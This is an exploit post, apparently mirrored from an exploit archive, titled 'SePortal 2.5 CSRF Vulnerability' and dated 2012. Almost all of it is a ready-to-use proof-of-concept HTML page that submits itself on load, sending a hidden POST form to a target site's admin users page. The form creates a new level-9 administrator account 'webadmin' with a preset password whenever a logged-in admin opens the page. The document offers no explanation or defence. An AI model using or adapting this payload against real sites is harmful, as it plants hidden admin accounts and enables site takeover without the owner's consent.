########################################## [~] Exploit Title: SePortal 2.5 CSRF Vulnerability [~] Author: DaOne [LCA] [~] Date: 19/8/2012 [~] Software Link: http://www.seportal.org ########################################## [#] [ CSRF Add Admin ] <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action="http://[target]/admin/users.php"> <input type="hidden" name="action" value="saveusers"> <input type="hidden" name="user_level_1" value="9"/> <input type="hidden" name="user_name_1" value="webadmin"/> <input type="hidden" name="user_email_1" value="admin@email.com"/> <input type="hidden" name="user_password_1" value="pass123"/> <input type="hidden" name="user_homepage_1" value=""/> <input type="hidden" name="user_icq_1" value=""/> <input type="hidden" name="user_showemail_1="0"/> <input type="hidden" name="user_allowemails_1" value="0"/> <input type="hidden" name="user_invisible_1" value="0"/> <input type="hidden" name="user_gender_1" value="1"/> <input type="hidden" name="num_newusers" value="1"> </form> </body> </html> ##########################################Брой прочитания на тази страница: 1247
SePortal 2.5 CSRF Vulnerability